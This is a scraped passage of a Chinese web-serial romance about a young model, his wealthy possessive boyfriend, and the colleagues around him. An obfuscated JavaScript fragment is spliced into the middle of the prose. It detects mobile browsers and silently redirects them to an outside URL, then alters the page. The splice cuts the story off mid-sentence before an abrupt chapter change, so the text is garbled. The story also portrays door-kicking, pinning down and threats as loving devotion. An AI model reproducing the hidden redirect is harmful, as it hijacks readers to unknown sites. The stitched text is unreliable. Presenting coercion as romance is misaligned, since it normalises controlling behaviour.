“白芳导演送来的样片内部已经过审,效果出乎意料的惊喜,等正式物料制作完毕,就会在线上线下进行投放推广。“那位优雅绅士的白人总监发出爽朗经典的老钱笑声,方寸行及秘书团陪其左右,”公司对这次换人很满意,那个叫zhenzhen的男孩比之前合作过的几个模特表现力更好,我想这次的新品一定会卖成爆款。” 方寸行保持倾听,不时微笑,在合适的时机顺着夸几句品牌方,身后的秘书团则默契而程序化地跟着点头微笑,一趟交流活动下来,将白人总监捧得心花怒放。 “是,嗯,哈哈哈您过誉了,对我们也非常期待最终的呈现效果……”戴维一边公式化假笑捧哏,一边掏出手机假装拍下白人总监中国行留念,实则疯狂扣字给甄甄发去吐槽,“woc到底是谁说的外国人没有人情世故,这老白男真不嫌害臊啊,我脸都要笑僵了!” 瓦瓦:臭伦敦的上皇城根底下要饭来了(..~w~..) 戴维嘎嘎直乐,见白人总监已经在和方寸行握手,扣了句“人老伦敦正米字旗的,阿玛跟丘吉尔入过关”,便赶紧放下手机一并迎上去,热情而周到地弯下30°与对方拥抱分别,祝他旅途愉快。 临上车前,白人总监对方寸行说:“我能否有幸认识zhenzhen?他是上帝最完美的男孩儿,那张如天使般的脸庞令我念念不忘,我非常想接触他,举荐他作为我们品牌新的形象大使。” 戴维差点没绷住表情管理,心里大骂一句放屁这明明是女娲的业绩,就算上帝他老人家是洪天王的老父亲也不能这么乱攀关系。他赶紧给方寸行使眼色,生怕老板一个卖员工求荣就把甄甄推给这老白男了。 方寸行一个飞刀让戴维不敢吱声,依旧是那副不紧不慢地语气,礼貌道:“非常抱歉约翰先生,甄甄并不是专业模特,也无心涉猎时尚圈,您的好意我会转告他。来日方长,下次您再来大中华区考察也许就能和他见面了。” 白人总监遗憾地耸耸肩:“All right。” 一送走甲方,方寸行那张驴脸便立刻拉了下来,阿曼达十分有眼色地递上消毒湿巾。 他狠狠地搓着刚刚和白人总监握的那只手,嫌恶地扔掉那团湿巾。 “艾呦梅事啦,滋是空气接触了一下,不传播的。”戴维嘴上这么说着,但还是脱了外套,几万块的西装就这么丢进垃圾桶里。 方寸行没理他,脸色阴沉。 如果不是需要和品牌方建立长久地深度合作关系,他根本就不会接待这个圈内恶名昭著的ltp。天知道他在听到对方提到甄甄时那股险些就没压制住的反胃,若非再忍忍就结束招待,他当场就会翻脸。 一直到回了办公室,方寸行心情才稍微平复一些,他只把戴维叫进来,问了些甄甄社媒账号的运营问题。 “只能说长了一张盛世美颜的脸,干的全是些审丑的事,一听我要给他开账号,马上就找阿曼达借水晶能量石当佛珠,抢着要拍万物生。他说他是京圈清冷佛子,这一世要靠团播红透半边天。”戴维耳朵边仿佛又回荡起“你说那时屋后面有白茫茫茫雪啊”,吐槽道:“幸亏老板深谋远虑,把账号交给我了,不然这么高级的模特赛道就要硬生生让他走窄了!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046611|177203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “……”方寸行无语了一阵,问:“那你给他拍的什么?” 戴维兴奋凑近,掏出手机把视频划拉出来:“这个这个,当年的事各有难处,我给他套了件居家毛衣,又让琳达画了个破碎感妆容,让他趴在桌子上看被渣攻打碎的花瓶——对我还友情客串了一下渣攻——营造出这种被伤害被抛弃的忧郁氛围感,哇塞点赞都破百万了,评论全是心疼哭坟发咯噔小语录的。” 戴维还哼了几句歌词,方寸行一脸黑线,他看了这个视频,冷色调的视频里男孩美得确实惊心,仿佛要碎掉的眼睛也让人揪心,但脸都没漏的渣攻到底有谁在意—— 谁问你了? 戴维又说:“还有还有,这个账号首发视频,凌晨四点我看见海棠花未眠,我让甄甄开头穿dk背个书包坐在窗台上,然后画面一转他穿着那种纯白深V晚礼服倒下玫瑰花丛里,评论区一堆嗷嗷舔颜的,还叫他小天鹅。因为是主打颜值类的账号,所以我给甄甄的定位就是美丽哑巴,发的几条视频都是伤感bgm+卡点转场+慢放欣赏美颜,一发出去点赞量就蹭蹭往上涨,每条都是爆款,原创的热门视频还有好多劣质硅胶人翻拍抄袭呢。” 方寸行眼前一黑,星火娱乐的未来一眼看得到头。 “你和他半斤八两,还好意思说人家审丑,你把抖音打开往下滑第一个视频就是大展宏图吧?” 戴维正美滋滋地欣赏着自己的作品,闻言垮下脸:“就算是老板也不能这么pua矜矜业业拿下班时间为公司创收的模范员工啊!” 方寸行摘下眼镜,捏着眉心。 他现在必须得缓缓。 缓完。 “滚出去。” 戴维麻溜滚了,没忘和甄甄蛐蛐。 DV:他敢舔一下自己的嘴巴吗? 瓦瓦:--lll 瓦瓦:常威当年有付出型这张嘴,毒戚家十三口的时候就不用下半锅砒霜了。 这下舒服了。 戴维心满意足地退出聊天界面,清空手机后台,丝滑地连上梯子和蓝牙耳机,在打开黑色软件之前先观察了一下周围,发现大家都在噼里啪啦地打字无暇顾及这边,才放心大胆地点进去,并十分有预见性地将音量调到最低,嘴角时不时露出一些诡异的笑容。 中途他会摘下耳机,检查下有没有漏音,无误后才又小心翼翼地戴回去,并持续观察四周。 刷完首页推送后,戴维双眼放光:嘿嘿嘿,zz,我来了! 22-30 第22章 第 22 章 甄甄,就是zz。 贺越邱转头看着方寸行, 短暂打量后,冷不丁地笑了声。 “我还以为你真是正人君子。” 方寸行紧抿着唇,不言语, 心底却升起一丝隐秘的窃喜。 贺越邱又把目光落回甄甄身上, 温声哄道:“我哪里又惹你生气了?别哭了宝宝, 不开心别闷在心里, 你得告诉我, 我才知道该怎么改。” 甄甄激动道:“你哪里都不好,哪里都不对!” 贺越邱无奈道:“那我先跟你道歉,随便你打你骂,想怎么样都行。” 又是这些话!甄甄都不知道听过多少次, 都要能背下来了。 “我才不要你这么敷衍的道歉!你每次都是这样说, 听着好像多诚恳, 可你只是想先拿好话把我哄住翻篇, 从来没有打心底里真正地反思过!” 贺越邱皱起眉,察觉到甄甄好像是认真的,但思来想去也就刚刚在温泉时做得过分了点, 方寸行估计是说了些煽风点火的话,把他那点小委屈烧大了。 贺越邱也没太当回事——甄甄情绪比较敏感, 爱伤春悲秋的,叶子落了、花儿谢了都能引他哭一场。也经常闹脾气,眼泪汪汪、眼眶泛红, 凶巴巴地瞪着他、吵他, 以为自个儿多厉害,其实这可怜劲儿最招人喜欢。贺越邱有时候甚至会故意犯贱,就为了逗甄甄,看他跟只急了要咬人的兔子一样跺脚, 再悠闲地顺着捋一把东倒西歪的兔耳朵。 所以贺越邱还像以前那德性,伸手要去捏甄甄的脸,笑道:“行,千错万错都是我的错,都怪我。” 甄甄的眼泪更止不住了,他抗拒着贺越邱的接触,也顾不上还有人在,只尖声喊:“你别动手动脚的!” 贺越邱两次被推开,脸色有点不好看了,沉声道:“咱别在外面吵,有事回家再说。” 这一句话像盆当头淋下的冷水,浇熄了甄甄心底熊熊燃烧的火,他的嘴唇抖了抖,半天也没说出话。 甄甄想起来早逝的父母,都说贫贱夫妻百事哀,可他爸妈从来不在外人面前吵架,也从来不在他跟前争执,他刚记事就记得妈妈跟他说人活在世只有夫妻才是一条心的,有了矛盾背过来说,不能叫外人看笑话。 甄甄想着妈妈的话,抹着眼泪,偷偷瞥了眼方寸行,等贺越邱再一次伸手过来抱他时,就没挣开,只是一味抽泣。 “乖,咱们先回家。”贺越邱的气顺了,看着怀里不再吵闹百依百顺的甄甄,还能有什么不畅快的。 他搂着甄甄去换回常服,路过方寸行时,挑着眉毛,笑了笑,用眼睛在说,你还早着呢。 方寸行猛地攥紧拳头,后牙槽动了又动,沉默而阴冷地看着两人相拥离开。 团建玩得也差不多了,甄甄和贺越邱的提前离场并没有引起太多关注。 贺越邱开着车跑在盘山公路上,山间晚风从敞篷吹进来,他舒服得眯起眼,正计划着晚上怎么哄甄甄换上新买的拉拉队裙子,把人欺负得哼哼唧唧时,再趁机说老公买了机票,带你出去度蜜月,就能看到他停下挣扎,惊疑又高兴地问真的吗我们去哪玩。 在贺越邱看来甄甄只是闹闹小脾气,这会儿吵得凶,搞不好还没到家就又扭着粘着喊老公,要抱要亲了。 他越想越心痒痒,车速也开得飞快,甄甄害怕得闭起眼,本来想让他开慢点,可一股犟劲上来,就算脸都吓白了,也愣是攥着安全带不吭声。 但显然贺越邱高兴得太早,甄甄这回还真不是随便哄哄就又转头扑进怀里。他的车一停稳,甄甄就径直打开车门,头也不回地走了。 这头贺越邱还在熄火,那头甄甄就已经迈进电梯。他愣了愣,赶紧下车,高声喊道:“你等会儿我。” 甄甄就当没听见,手指往下一挪,按了关门键。 贺越邱紧赶慢赶也还是差了那么一点儿,眼睁睁地看着电梯门合上,气得狠狠砸了下电梯按键。 甄甄是爱闹小脾气,但从没像今天这样过。他现在可以确信今晚的计划是泡汤了,而摆在面前更严峻的问题是,这种状况还会持续多久? 一天?两天?一周? 事实是贺越邱一刻钟都不想等,电梯门合上后他只犹豫了一秒,便转身冲上楼梯,三步并一步大跨,七层楼一口气爬上去也只是有点微喘。 电梯都没能比他快多少,甄甄还在门口换鞋,突然就被一道炮弹般冲过来的黑影给压在墙上,先是吓了一跳,看清是贺越邱后,才挣扎道:“你放开我!” 贺越邱的肌肉硬得像石头,甄甄推都推不动,只听他蛮横又霸道地说:“行啊你,现在长本事了,闹个脾气连自己男人都不要了,下一步想干什么,分手?给我甩了?” “甄瓦瓦,我警告你,这种事你想都不要想。你要是敢跑,走到哪儿我追到哪,追上了我把你按地上当场就办了。” 甄甄气得两眼发黑:“你有病吧贺越邱!明明是你先招惹我,凭什么倒打一耙又怪到我头上?我什么时候说过要跟你分手?你挂在嘴边是早想好了要跟我掰是吗?” 甄甄情绪激动得厉害,贺越邱不敢逼得太过,稍微放开他,语气软和下来:“我没这意思,不分手,这辈子都不分。别生气了宝贝,我没想到你当时那么难受,要早知道我肯定不在温泉里要你。我错了,真错了,我就是个只知道下半身思考的禽兽,卑鄙下流无耻混蛋流氓,你想怎么骂我就怎么骂,咱别气了,烧还没退完呢,等身体好全了再找我茬好不好?” 贺越邱说这话时眼睛一直看着甄甄,挺诚恳,好歹算承认自己错在哪了。 甄甄的气顺了些,但想到他这些天的忽视,想到他居然在自己面前犯浑,心里还是堵,只是没之前难受得那么厉害了。 他逼问道:“就这些?还有呢?” 贺越邱下意识地:“还有?” 这两字儿一说出来他就知道坏了,明明都快哄好了,甄甄脸色一变,又猛地推开他,转身进屋,就留个背影。 贺越邱后悔得直咬舌根,赶紧追上去:“宝贝儿,我到底犯什么天条了?你直接告诉我吧,我真改。不成你先跟我说想吃什么,我去做,好歹别饿着肚子生闷气。” 甄甄几步走进主卧,猛地一甩门:“不要你假惺惺!” 贺越邱碰了一鼻子灰,耐着性子说:“那我先去做饭,你要是饿了,就自己出来。” 没动静。 贺越邱烦躁地抓抓头发,躲到阳台连抽了好几根烟。他想不明白,不就试了次野/战吗,以前更过分的也不是没玩过,至于气成这样? 贺越邱唉声叹气,扔了一地烟屁股。他还想抽,一摸烟盒,空了,才把空盒子捏成团,扔垃圾桶里,黑着脸起身去厨房做饭。 贺越邱再宠着甄甄,骨子里也是个含着金汤匙出生的京城大少爷,现在又管着这么大一个集团,从小就习惯了唯我独尊,哪能真是个逆来顺受的性子,做这顿饭也是带着怨气,故意弄得乒乒乓乓的。 甄甄竖起耳朵,贴在卧室门上听外面动静。他原以为按着贺越邱那太子爷脾气,被自己这么闹了几通,该气得甩手出门,倒是没想到还能沉住气,系上围裙洗手作羹汤去了。 甄甄心里有点得意,要有尾巴早就翘起来了,他想贺越邱果然还是在乎他的,方寸行一个外人懂什么? 但甄甄不打算这么快就原谅贺越邱,他不是发小脾气、闹性子,他是真的因为贺越邱伤心了。 这些天的敷衍,温泉里的强势,都让甄甄恐慌,总觉得自己在贺越邱心里好像一点也不重要。他原来只要待在他身边就有安全感,可现在却有些患得患失。 说到底他们是两个男人,没办法真的结婚,他也没办法给贺越邱生个孩子,他们之间除了这几年的感情之外没有任何保证。 可感情这种东西又是多么脆弱呢,它弥足珍贵,却又瞬息万变,甄甄从来都不敢说他能够和贺越邱一辈子。 而最让甄甄难过的是,他这么生气,贺越邱嘴上一个劲地说着宝贝我错了,却连错在哪都不知道。他只想欣赏他的眼泪,根本就没想过他为什么哭。 他真的太过分,太过分。 甄甄想着,又红了眼眶。 贺越邱动作麻利,没多久功夫就做好了五菜一汤,过来敲门,喊甄甄出来吃晚饭。 “嘭——” 回应他的只有抱枕飞到门上的声音。 贺越邱啧了声,把甄甄那份分好,剩下的自己都吃了。 一地狼藉留给钟点工整理,贺越邱休息了会儿,起身去浴室冲凉,不然这一身油烟味,让甄甄那狗鼻子闻到,只怕更要闹得天翻地覆了。 结果推门一看,本来成对摆放的漱口杯和牙刷少了,甄甄专用擦脸擦手的小毛巾也被收走,洗漱台上空荡荡的,就还剩条他自己的毛巾在架子上孤零零飘着。 这像什么话?要分家? 贺越邱磨磨牙,心想甄甄这真是要翻天了。 他三下五除二冲完凉,连内裤都没穿,更没工夫擦干,扯了根浴巾就大步流星地走到主卧门口,抬脚猛踹了下。 甄甄没睡,躲在被子里玩手机,听见这动静心都跟着颤了颤,赶紧说:”你别发疯!这房子反正是你买的,就算全砸了也是你自己的损失!” 贺越邱低吼道:“开门!” 甄甄揪着被单,就不开:“我身体不舒服,要好好休息,你自己上隔壁屋睡去!” 贺越邱冷笑一声:“隔壁?隔壁是来客人睡的,我是你老公,凭什么去隔壁?” 不等甄甄说话,他又踹了一脚,门框都抖下一层灰:“要吵架,咱俩关上门吵,你别给我整冷暴力,我跟你说过我最恨玩这一套的人。开门,把我放进去,你爱怎么闹我陪你怎么闹。” 甄甄气得丢下手机,恶狠狠地锤了好几下贺越邱的枕头,趿拉着拖鞋把门打开,一言不发地埋头往前走。 贺越邱一把拽住他,拦腰抱起:“你又想去哪儿?老老实实待这儿给我暖床。” 说着,走到床边,把甄甄塞回去。 “你不去客房,我去!”甄甄扑腾半天才掀开被子,露出一张憋得通红的脸,闹着要分房睡。 贺越邱火气上来,翻身坐在甄甄身上,两腿紧紧夹在他的腰侧,手往后抬起,惩罚性地打了下屁/股:“去?你想去哪儿?你上小区群里挨个问问,谁家夫妻俩是分开睡的。你气归气,我纵着你闹,但你要想着跑,我跟你说,没门儿。别说今天晚上你得跟我睡一张床,就是等七老八十,等我俩都断气了,你都得跟我躺一个棺材。” 贺越邱没把重量都压甄甄身上,但即使这样,甄甄也根本挣脱不了,被按得死死的,里里外外都被亲了个遍。 等他没力气了,贺越邱才放开,躺下来顺手把人捞进怀里,跟抱着个小玩偶似的。 甄甄整个人都被迫埋在他胸膛里,鼻子紧挨着胸肌,一股刚洗过澡的沐浴露味儿:“你放开我!闷死了!” 贺越邱充耳未闻,反倒又收紧了点儿,非得把甄甄挤扁不可:“不放。你是我的人,老子就得抱着你睡。” 甄甄气得又踢又蹬,他痩归痩,踹在身上也挺疼的,但贺越邱就是不放手,扯过被子把两人都盖上:“睡觉。” 贺越邱人高马大,往床上一躺能占掉大半位置,一睡沉了就跟头牛似的,甄甄怎么也推不动他,半天下来反倒把自己累得气喘吁吁。 贺越邱半眯着眼,像在看一只被主人强迫抱在怀里不断扑腾的小猫,嘴角暗暗上扬。 甄甄最后还是放弃了,他打算等贺越邱睡着再偷偷下床,既然不让他去隔壁,那他就在主卧沙发上睡。 他打定主意,要跟贺越邱同床异梦! 甄甄耐心地从一数到百,身旁渐渐传出鼾声,于是轻轻喊着贺越邱的名字,见人没反应,抿抿唇,又不情不愿地钓鱼执法,喊了声老公,也没什么动静。 确认这人是真睡着后,甄甄才轻手轻脚地把压在自己身上的胳膊搬开,抓着抱枕,一点一点地挪下床,跑沙发上躺下。 刚闭上眼,又猛地坐起来,赤着脚回到床边,报复心极强地抽走贺越邱身上的被子,心里默默念叨着,冷死你,让你也发烧试试。 他抱着被子回沙发,揪住两个角抖了抖,仔仔细细地铺平,又放上枕头,给自己做了个窝,钻进去后把剩下一半盖上,舒舒服服地睡了。 过没多久,偌大的卧室里响起一道均匀的、微弱的呼吸声。 贺越邱睁开眼,看着正对面只露出一点点的栗色脑袋,被可爱得笑了下。 他悄无声息地走到甄甄身边,连人带被子,整个都端回床上。 甄甄睡醒,脑袋边还有加载圆圈在转,卡了半天,才打败1%的人成功开机。 他裹着被子,从左滚到右边,又从右滚到左边,忽然意识到一个问题:我怎么睡在床上? 我的窝呢? 贺越邱端着早餐进来,能读心般,笑道:“你那破烂小狗窝是违章建筑,被依法拆除了。从现在开始,只有老公的臂弯才是能为你遮风避雨的港湾。” 甄甄还没怎么清醒,贺越邱一坐下来,就差点喊出一声老公,嘴巴都张开了,愣是半截上停住,正要改口让狗男人滚,就被塞进来一勺子绵密清甜的奶油。 “你最近不是爱看那个小马宝莉吗?我四点就起来和面打发奶油了,忙前忙后三个多小时才做出来那几匹马,什么苹果嘉儿什么碧琪的,看看,像不像?”贺越邱挨个展示,又趁甄甄还在宕机,挖了几大勺蛋糕塞他嘴里。 昨晚那个暴躁犯浑的好像不是他,温声细语的说:”就算还生我的气,也得先把东西吃了,才有力气跟我对着干是不是?” 甄甄来不及说话,本能地咀嚼着食物,好不容易才咽下去,正要骂人,就又被堵上一口。 直到贺越邱估摸着他快吃不下,才停止了这种把药片藏鸡腿里骗小狗吃的恶劣行径。 他掀起甄甄的衣服,满意地摸了摸微圆的小腹。 “这样才对。” 贺越邱忽然有感而发,感叹道:“听说孕妇胃口会变大,因为要吃两个人的份。你要是也怀孕了,会不会吃得就多点?” 甄甄本来就因为他们这种脆弱的关系伤心,正要刺回去,就又听贺越邱说:“不过生孩子太辛苦了,还很危险,就算你是女孩子,能怀孕,我也不想让你冒这么大的风险。吃得少就吃得少点吧,无非就是多费点心思在这上面,我可不希望自己老婆为了生我的小杂种出什么意外。我这辈子养你这么一个宝贝儿就够了。” 甄甄愣住,回怼的话被心底涌起的暖流冲到犄角旮旯里,原先那些冒出头的害怕、伤心,因为这么一番话,又悄悄地埋回去,只剩下一点点酸。 贺越邱伸手要来捏甄甄的耳垂,他一躲,赶紧下床,背过身,藏起脸颊浮起的粉色,刻意冷下声音,一板一眼地说:“我没说过你可以碰我了,别动手动脚的。” 贺越邱简直头疼:“不让我碰,还不如一刀捅死我。我到底哪里惹着你了小祖宗,你给我个痛快的吧。” 甄甄压了压嘴角,清咳一声,只说:“我去上班了。” 贺越邱叹了口气,起身跟着:“我送你去。””你公司忙,不用为接送我上下班这种小事操心,我自己可以。过两天我去报驾校,等学会怎么开车,就更不用麻烦贺总了。” 贺越邱就是个聋子都听得出甄甄在阴阳怪气,还他之前下班不来接的那茬。他也没办法,谁叫自己理亏呢,只能低眉顺眼地说:“对不起宝贝儿,我不该因为自己那点破事儿忽略你的感受,以后我就是你的专属司机,别管早中晚,随叫随到,要我干什么我就干什么。你想考驾照,等证下来,你喜欢什么车,第二天就送到你跟前。别生气了,原谅我吧。” “我说你错了吗?我没说吧?明明是我爱闹,我不懂事,我还要跟贺总道歉呢。” 贺越邱看甄甄这作里作气的样,邪火一下就窜起来了,偏偏这人连碰都不让他碰一下,憋得咬牙切齿:“……祖宗,你真是我祖宗。” 甄甄继续火上浇油,翻他的旧账:“最对不起贺总的,就是我肚子不争气,被你睡这么几年一个种都没怀上,没法给贺家生个继承人。” 贺越邱倒吸一口气,形状明显,他实在是忍了又忍,吐出的每个字都裹着火星子:“宝贝儿,你可以试试再多挑衅几句,我肯定会让你看看什么是孕晚期的肚子,希望到时候你这张小嘴还能继续煽风点火,而不是哭得气都喘不过来一直喊哥哥老公求我别佘了。” 甄甄这下不敢再作了,贺越邱什么时候能挑衅,什么时候不能,在一起这么久,为此付出过多少惨痛的教训,他心里还是有数的。 “你活该!憋死你!”甄甄丢下这句话,拔腿就跑了,生怕有人追上来。 贺越邱迈步都难受,不知道骂了多少句作精骚货小祖宗,硬是顶着这副尊荣跟着出门,把准备去小区门口打车的甄甄拖进地下车库,扔到副驾驶座,油门一脚踩到底,火箭般冲了出去。 一到公司,甄甄就赶不及地下车,贺越邱的火退下去了些,但还是想得要疯,他声音低沉,用那种有点可怜兮兮的语调说话时,就让人特别受不了。 “给我亲一下,好不好?求求你了,宝贝。” 这情景无异于雄狮子为了讨雌性欢心而趴在地上打滚翻肚皮,搁这扮弱势博同情。 甄甄用尽了这辈子的定力,扭头不看那双流露出恳求的棕瞳,将给看不给吃贯彻到底,非要让这狗男人长长记性。 “现在知道叫宝贝了,我在公司等你几个小时的时候不知道叫,让其他男人送自己老婆回家的时候不知道叫,跟个家暴狂一样踹门吼我的时候不知道叫,那你就憋着吧,最好憋出什么毛病才是普天同庆,免得天天对着我发请。” 甄甄扭头就走,剩下个贺越邱悔不当初,别说像以前那样黏着又亲又抱了,现在是连摸个手都痴心妄想,也就只能闻闻车里老婆留下的香味,把手机里存的好东西翻出来,看着录像过过瘾。 甄甄这边刚坐上电梯,白芳就给他发微信,问他最近有没有空,约他档期的电话都打爆了,那套水手服反响特别好,国内就不说了,连明里暗里有种族排斥的欧美都非常火爆,ins好几个百万赞爆贴,平时高高在上的白人们都在夸这是来自神秘东方的美丽精灵。 甄甄立马高兴地翘了方寸行的班,拖着他的编外运营戴维去广告部找白芳。 “今天拍三套可以吗?你放心,我助理提前筛选过了,都是一些大牌,绝对配得上你这样昂贵的漂亮脸蛋。” 甄甄点头,做平面模特只需要画个好看的妆,穿几套大牌衣服,站在镜头前拍几个小时,就能比得上给方寸行打几个月工的工资,这可真是天上掉馅饼的事。 虽然这些钱比起他们这些资本家来说就是毛毛雨,一顿商务宴会都不够,但他一个从小县城出身的年轻人,哪儿见过这么多钱呢? 休息间隙,戴维和甄甄聊天:“我说姓贺的那么有钱,家里在皇城根脚下扎几辈子根了,我姨和我姨夫那么牛逼的两个人,跟他家比起来都不够提鞋的,他手指头漏点儿就够你财富自由过一辈子了,你还出来上班挣钱干什么。我要是你,我肯定就拿着狗男人的钱到处游山玩水享受世界了。” 甄甄嘴巴上涂了一层亮晶晶的唇釉,现在只能用吸管小口喝水,摇摇头说:“一辈子那么长呢,哪有个定数。可能上一秒还海誓山盟的情侣下一秒就分崩离析,可能前天还富可敌国的老板后天就家破人亡,我没想过那么远的事。我现在的目标就两个——近点儿的,等贺越邱生日的时候给他买个好点的礼物;远点儿的,要能在北京攒套房子首付就最好了。” “……你这……我都不知道该说你是单纯还是傻了。你想要房子,让贺越邱买啊,这北京城除了故宫,他哪里不是说买就买?你要靠自己攒够首付,不知道猴年马月呢。” “可他的是他的,我的是我的啊。” 甄甄咬着吸管,因为嘴里包着水,说话慢吞吞的:“我妈都没过过手心向上的日子,我是谈个恋爱又不是把自己卖给他了,我不能比我妈还差吧。” “也有道理,毕竟你们是谈恋爱又不是包养关系。不过我要是有你这么可爱的对象,都不用你主动说,我肯定要给你买大house,豪车香槟随你挑,我李佳航就是这么一个宠老婆的男人。” 虽然还在闹别扭,但甄甄下意识就要维护贺越邱:“他对我也挺大方的,经常提要给我买房买车,只不过都被我拒绝了,就隔三差五给我转账,带我出去玩。” 戴维切换李佳航人格,用粤语半是调侃道:“好啦,知道你最幸福啦。” 白芳调完机位后甄甄又接着拍,事实证明绝大多数行业都可以在入行之后再学习,甄甄这段时间拍摄强度还挺高的,早已没有最开始面对镜头的手足无措,知道该如何调整表情和动作去配合时装在设计上要表达的概念,有时候还会主动提出来搭配一些配饰或者道具,助力于最终效果的呈现。 白芳惊喜于他的进步,且最欣赏的还是足够敬业这一点。作为一个半路出家的兼职模特,甄甄身上没有那些职业模特的通病,不会耍大牌迟到早退,更不存在敷衍了事的情况,让他拍什么他就拍什么,也不会想着对导演指手画脚。 拍摄结束后,白芳查看样片,张张都满意。 甄甄凑过来,有点好奇地问她这台机子多少钱,在她报出一个天文数字后惊讶地睁大眼睛,半天都说不出话。 “就……这么一个相机,能买台车啊?” 摄影师阿文笑道:“几百万的相机都有呢,这个十几万的算什么啊。我们干这一行的嘛,吃饭家伙肯定要买贵的,如果不是公司掏钱,省吃俭用攒几年都舍不得买。” 甄甄小小地“哇”了一声,眼神瞬间变得崇拜,蹲下来认真观察。 阿文看他感兴趣,鼓励道:“你可以来试试,按下快门的那一瞬间,就是捕捉光影的艺术哦。” 甄甄抬起头,眼睛亮晶晶的:“我真的可以碰吗?不会弄坏它吧?” “当然,它还没那么娇气。来,我教你。” 白芳见状,损道:“你平时不都把这台机子当老婆吗,睡觉都恨不得搂怀里睡,别人摸都不让摸,这下怎么又大方起来了。” 阿文切一声:”你懂什么。” 说完又招呼甄甄来体验,教他调光圈按快门。甄甄特新奇,像发现了新大陆,拿着拍来拍去。 戴维背着手,跟个老爷似的,凑到甄甄跟前看他的摄影大作,不时点评。 “嗯,这张不错,那张也行,有点梵高的风格,还带点莫奈的韵味。” 阿文趁机安利道:”来加入摄影佬这个权威的圈子吧!少年!” 白芳一巴掌劈他头上:“摄影穷三代,单反毁一生,你这家伙不要害大好青年误入歧途啊!” 甄甄翻阅着照片,勾起嘴角,想着今年的生日礼物,他想要一台漂亮的相机。 “你明天有空吗?最近片约很多,大多是各个品牌要推的夏季款,我觉得合适的都给你接了。”白芳说。 “有的,你提前把细则发我就行。” 戴维惊讶道:“甄甄已经火成爆款模特了吗?” “那没办法,谁让人家长了那么一张脸呢,尤其是欧美的时装品牌,排着队找。” 甄甄也好奇道:“为什么?他们不是最吹捧那种刻板印象的眯眯眼高颧骨吗?” 白芳瞥他一眼,意味深长地说:“全世界的人审美都一样,又白又高又瘦的人在哪里都会很受欢迎。尤其像你这样长得幼态的亚裔。或许,你知道yellow fever吗?” 甄甄诚实地摇头,说不知道。 戴维想到了前段时间那个几次三番想认识甄甄的白男总监,难得沉下脸,对白芳说:“别教他这些乱七八糟的东西。” 白芳哼哼笑了两声,有点阴阳怪气的意思,但面对甄甄的追问,也只蒙混道:“就是说你这样的亚裔很讨人喜欢。好了好了别问了,没见高贵的总助阁下都给我使眼色了吗,我哪敢乱说啊。” 甄甄盯住戴维,打破砂锅问到底。 戴维难以招架,无奈地举手示弱:“咳咳,就是白导说的那样。” 确认他们两个人都是合起伙来骗傻子,甄甄收拾着今天的新款雪王文创袋,气鼓鼓地下班了。 快走到公司大门时,甄甄没由来的心慌,放慢了脚步。 他总觉得甄波不会善罢甘休,怕被蹲点,改道往后门走。 “行啊你,现在都学会躲着我走了?” 贺越邱在大厅会客室等着接甄甄下班,看他从电梯出来笑得正欢呢,转眼就看到他扭头走了,笑容一下凝固在嘴角。 他几步并一步,追上去,拉住甄甄手腕,看见他一惊一乍的样子,不满道:“我有这么可怕?” 甄甄被拽住那一下心脏都快跳出来了,还好他马上就认出来是贺越邱的声音。 “你!……谁让你这样吓人的?”甄甄越心虚,声音就越大,他不想让贺越邱看出任何端倪。 “明明是你扭头就跑,我喊都喊不住,怎么还倒打一耙?” 甄甄支支吾吾的,贺越邱直觉他有什么事瞒着自己,眉毛一扬,语气有些轻佻:“怎么,做对不起我的亏心事了?” 甄甄像被踩到尾巴的猫,一下就跳起来:“贺越邱!你别老这副德性!谁做了亏心事谁自己心里最清楚!” 他本来只是想把锅甩出去,但对他来说无心之失的一句话,却让贺越邱真沉默了一下,绕开话题,说:“好了宝贝,别生气,今晚我们去吃烛光晚餐,就按你经常看的那些电视剧布置,红酒玫瑰小提琴,只要是你喜欢的,我都会满足你。” 甄甄眼睛里闪起惊喜的亮光,但他想到前几天为贺越邱伤过的心,掉过的眼泪,那光芒就又慢慢沉了下去。 贺越邱等得有点焦急,就听见甄甄说:“不用了,我不想吃东西。你如果忙的话可以先回公司,我自己打车回去。” 贺越邱说不上来的胸闷,气笑了,本能地想说一句“差不多得了”,但看见甄甄失落的模样,胸口又慢慢涌上来一点酸痛。 他硬生生憋回那些话,无奈的,又带着一丝恳求:“我这些天确实忽略了你,我跟你保证,以后绝对不会了。你不想吃烛光晚餐就不吃,不想坐我的车就不坐,我陪你打车回家,你想吃什么我就做什么。” 甄甄抿了抿唇,没说好,也没说不好,但贺越邱试探着伸手搂他肩膀,他也没躲开。 贺越邱心花怒放,跟抱了个大宝贝金疙瘩似的,要不是大庭广众的,他恨不得直接就亲两口。 “你等会儿我。” 贺越邱放开甄甄,又转身回会客厅,拿了把雏菊花出来,塞到他怀里。 “古人那句话怎么说的,负荆请罪,我这荆上还尽是花,诚意更足。” 甄甄哼一声,故意说:“路边随手拔的吧。” “行,你说是就是。”贺越邱说着,就又要抱他,被甄甄一侧身躲开了。 公司里人来人往,他不让贺越邱离自己太近,免得被狗仔拍到,这样对两个人都不好。 贺越邱像看负心汉一样,幽怨地看着甄甄,奈何他不为所动,就也没办法,只能保持着不远不近的距离,跟在他左手边,一起走出了大厅。 迎面是玻璃幕墙反射的夕照,连双向车道上来来往往的车辆都镀上一层金光,晃得人直眯眼睛。 贺越邱护着甄甄,免得他被密集的人流挤到,反复说小心点。 甄甄在嘈杂的人声中抬起头,琥珀色的瞳孔与背后金黄的天空融为一体,流淌着暖融融的眸光,张合着湿润的唇瓣,也在说话。 贺越邱听不清楚,低头去听,甄甄轻轻地笑着,白皙的脸颊像玉石一样莹润通透。他捧着花,叶子的翠绿映在下半张脸,浮荡着温润的光影,仿佛一个微风吹拂着柳叶、河面波光粼粼的夜晚。贺越邱看入了迷,联想到一句诗,是那么合适,‘你是四月早天里的云烟,黄昏吹着风的软,星子在无意中闪’。 他拿出手机,把这一幕拍下来。 从30层楼往下看,再高大的人也变成了蚂蚁,车水马龙川流不息。 